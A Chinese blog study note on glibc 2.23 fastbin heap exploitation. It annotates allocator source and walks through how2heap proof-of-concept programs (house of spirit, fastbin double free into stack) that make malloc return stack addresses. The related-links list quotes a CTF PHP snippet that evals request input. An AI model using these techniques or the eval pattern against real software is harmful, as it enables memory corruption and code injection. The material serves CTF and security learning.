fastbin attack学习小结

    之前留在本地的一篇笔记,复习一下。

  下面以glibc2.23为例,说明fastbin管理动态内存的细节。先看一下释放内存的管理:

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
// 检查chunk大小是否大于max_fast的大小,如果是,则chunk进入Fastbins进行处理

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)

#endif
) { if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
  /* chunk_at_offset将p+size这段内存强制看成一个chunk结构体,这里对fastbin中chunk的大小做出了限制,分配的最小的chunk不能小于2*SIZE,分配的最大的chunk不能大于av->system_mem */
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
    // 这一段代码表示对下一个chunk的size进行检查
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); set_fastchunks(av);
unsigned int idx = fastbin_index(size);      // 根据chunk的大小,选择对应的Fastbin的idx
fb = &fastbin (av, idx);    // /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
  // 如果连续两次释放的是同一块地址的内存,会报double free的错误
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

   可以看出,glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glvibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了。

  glibc2.23中对fastbin申请chunk的操作如下:

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
  // 获取fastbin的index
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
    // 检查链表的size是否合法
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{        
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

   fastbin中检查机制比较少,而且fastbin作为单链表结构,同一链表中的元素由fd指针来进行维护。同时fastbin不会对size域的后三位进行检查,这导致glibc pwn中对于fastbin的利用和考察要比其它的bins中更加频繁。

  其中,最为常见的利用思路,就是把chunk块劫持到其他的数据段,比如栈中,bss段或者_hook地址处等等。通过how2heap上的几个例子来进行理解。

House of spirit

  house_of_spirit这种技术,通常是在别的数据段伪造一个chunk,这个chunk满足fastbin的大小,这时候,如果把这个chunk指针free掉,然后重新申请相同大小的堆块,就会把这个fake chunk申请出来。

  fake chunk的时候,需要布置fake chunk的内容来绕过一下检测:

  1.要避免double free的情况:fake chunk所指向的链表头部不能是fake chunk,上面的源码中有过展示;

  2.fake chunk的ISMMAP这个位不能为1,free时,如果是mmap分配出的chunk,会被单独处理;

  3.fake chunk的地址需要对齐(2size_t对齐);

  4.fake chunk的next chunk的大小不能等于2*SIZE_SE,同时也不能大于av->system_mem,这个从上面的源码中也可以看出。

  一般我们在看到,如果有向bss段,或者栈中有这种奇奇怪怪的输入,且输入空间比较大的时候,我们都可以考虑去伪造一个chunk。

  这里记录一下how2heap上面house_of_spirit.c的调试过程:

#include <stdio.h>
#include <stdlib.h> int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

  第一个断点设在malloc(1)处,在64位下的最小申请的chunk最小大小是32个字节。

unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

  这里定义了一个无符号长长整型的fake_chunks的数组,并且做了一个16字节的地址对齐。以及一个无符号长长整型的指针a。

  断点下到fake_chunks[1]=0x40这里,这里就是确定了fake chunk的大小。fake chunk的大小必须落在fastbin的区间,但是next chunk的大小只需满足: > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)即可。

  fake_chunk[9]这里伪造了next size的大小,满足条件大于2 SIZE_SE,小于system_mem。

  然后把fake_chunk的地址赋值给a,伪造完chunk块之后,就可以尝试free一下,看看会发生什么:

  可以看到,有一个不是堆上的地址进入了fastbin中(我调试的时候,系统默认的libc版本是2.27,所以这里fake chunk的地址进入了tcachebins中,但是不影响调试和调试结果,tacache主要会对double free做一个更加严格的检查)。

  这个地址,就是我们之前在栈中伪造的地址。

  然后,重新malloc,我们发现最后申请出的chunk,就是我们fake chunk的地址。

alloc_to_stack

  house_of_spirit提前布置了fake_chunk,并且主动free掉了fake_chunk,来把栈上伪造的数据加入fastbin中。alloc_to_stack没有主动free栈上的伪造的chunk,而是通过修改已经free掉的chunk的fd指针,来把栈上伪造的chunk加入到fastbin中。

#include<stdio.h>

typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
}CHUNK,*PCHUNK; int main(void)
{
CHUNK stack_chunk; void *chunk1;
void *chunk_a;
void *stack_ptr;
stack_ptr=&stack_chunk;
printf("stack_chunk address:%p\n",stack_ptr); stack_chunk.size=0x21;
chunk1=malloc(0x10);
printf("chunk1 address:%p\n",chunk1); free(chunk1);
printf("chunk1 address:%p\n",chunk1); *(long long*)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);
printf("chunk_a address:%p\n",chunk_a);
return 0;
}

  这个例子,我们调试以上代码,为了方便直接观察内存分配的布局,将关键的地址值全部打印出来,同时通过给结构体中变量赋值,省略了在栈上布置数据的过程。

  断点下在malloc(0x10)这里。可以看到,我们首先申请了一个chunk,然后释放掉,然后我们再修改chunk的fd指针为栈上伪造的chunk的地址。

  根据stack LIFO的特性,先申请一次chunk把堆上的地址分配出去,再申请一次chunk,我们就可以把我们的chunk布置到栈中。

  向我们上面直接给fd指针赋值是一种非常理想化的操作,在实际漏洞和题目中基本不会存在这种类似的利用场景。更多得需要通过uaf或者堆溢出来修改chunk的fd指针。

fastbin_dup_into_stack

  how2heap上的fastbin_dup_into_stack.c也是运用到alloc_to_stack这种技术,但是这里就需要用到double free的方式修改fastbin中chunk的fd指针了。调试过程记录如下:

#include <stdio.h>
#include <stdlib.h> int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c); fprintf(stderr, "Freeing the first one...\n");
free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b); fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a); fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20; fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

  fastbin_dup_into_stack中如果用到ubuntu 18.04的libc-2.27.so编译的话,由于tcache机制的检测,double free的问题会被检测出来,所以这里用patchelf修改了链接器和动态链接库。

  程序首先申请了三块堆块:

   fprintf(stderr, "Freeing the first one...\n");
free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b); fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

  这样释放chunk是为了绕过double free的检测。这时候可以看到,0x603000这个地址,在fastbin的链表中被添加了两次。

unsigned long long *d=malloc(8);

  这时候,申请出来的堆块实际上就是0x603000地址所在的chunk。但是,由于它被free了两次,所以它现在仍然在fastbin中,这时候,我们可以控制它的fd指针。

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

  这时候,实际上是把栈上的地址加入fastbin链表,在之后的malloc中进行分配。为了能够顺利地把fake chunk添加到fastbin链表中,stack_var之前就被赋值为20。

  fastbin如图所示,最后第四次分配的时候,就成功将栈上的目标地址分配出来了。

fastbin attack学习小结的更多相关文章

  1. Fastbin attack 总结

    Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...

  2. House_of_orange 学习小结

    House_of_orange学习小结 house_of_orange最早出现在2016年hitcon的一道同名题目,其利用效果,是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被 ...

  3. flex学习小结

    接触到flex一个多月了,今天做一个学习小结.如果有知识错误或者意见不同的地方.欢迎交流指教. 画外音:先说一下,我是怎么接触到flex布局的.对于正在学习的童鞋们,我建议大家没事可以逛逛网站,看看人 ...

  4. Python 学习小结

    python 学习小结 python 简明教程 1.python 文件 #!/etc/bin/python #coding=utf-8 2.main()函数 if __name__ == '__mai ...

  5. react学习小结(生命周期- 实例化时期 - 存在期- 销毁时期)

    react学习小结   本文是我学习react的阶段性小结,如果看官你是react资深玩家,那么还请就此打住移步他处,如果你想给一些建议和指导,那么还请轻拍~ 目前团队内对react的使用非常普遍,之 ...

  6. objective-c基础教程——学习小结

    objective-c基础教程——学习小结   提纲: 简介 与C语言相比要注意的地方 objective-c高级特性 开发工具介绍(cocoa 工具包的功能,框架,源文件组织:XCode使用介绍) ...

  7. pthread多线程编程的学习小结

    pthread多线程编程的学习小结  pthread 同步3种方法: 1 mutex 2 条件变量 3 读写锁:支持多个线程同时读,或者一个线程写     程序员必上的开发者服务平台 —— DevSt ...

  8. ExtJs学习笔记之学习小结LoginDemo

    ExtJs学习小结LoginDemo 1.示例:(登录界面) <!DOCTYPE html> <html> <head> <meta charset=&quo ...

  9. 点滴的积累---J2SE学习小结

    点滴的积累---J2SE学习小结 什么是J2SE J2SE就是Java2的标准版,主要用于桌面应用软件的编程:包括那些构成Java语言核心的类.比方:数据库连接.接口定义.输入/输出.网络编程. 学习 ...

随机推荐

  1. R语言--读取文件(数据输入)

    1 数据的输入 1.1 键盘输入 首先新建一张空表: dat<-data.frame(age=numeric(0),gender=character(0),weight=numeric(0)) ...

  2. react中 props,state,render函数的关系

    1.当组件的 state 或者 props 发生改变的时候,自己的render函数就会重新执行. 2. 当父组件的render函数执行时,其所有子组件的render函数都会重新执行.

  3. 15、mysql事物和引擎

    15.1.数据库事物介绍: 1.什么是数据库事物:

  4. 闲聊,Python中的turtle

    写在前面 其实我也不知道为什么我会写这个,本文涉及信号与传递,Python 正题 近期看到一个3年前的视频,1000个圆一笔画出一个Miku 在观看完源码了以后,我发现这是这调用的是基本的goto,用 ...

  5. SpringBoot集成logback后访问日志端点

    问题描述 使用SpringBootAdmin(sba)监控Springboot服务时,配置了logback日志框架,按天滚动生成日志,此时在sba的日志监控页面出现404,如下图所示: 解决方案 查看 ...

  6. 为什么socket是三次握手挥手却是四次

    为知笔记地址: https://794e611d.wiz03.com/wapp/pages/view/share/s/1VjC4t215AfJ2knVCX1yXcay1HkR1O0_L4CF2w2CR ...

  7. 一文看懂HTTPS、证书机构(CA)、证书、数字签名、私钥、公钥(转)

    说到https,我们就不得不说tls/ssl,那说到tls/ssl,我们就不得不说证书机构(CA).证书.数字签名.私钥.公钥.对称加密.非对称加密.这些到底有什么用呢,正所谓存在即合理,这篇文章我就 ...

  8. CTF文件包含

    <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...

  9. CTF-Streamgame1-writeup

    Streamgame1 题目信息: 附件: streamgame1.py from flag import flag assert flag.startswith("flag{") ...

  10. 牛客OI测试赛2

    题目链接:https://www.nowcoder.com/acm/contest/185#question A.无序组数 暴力求出A和B的因子,注意二元组是无序的,因此还要考虑有些因子在A和B中都存 ...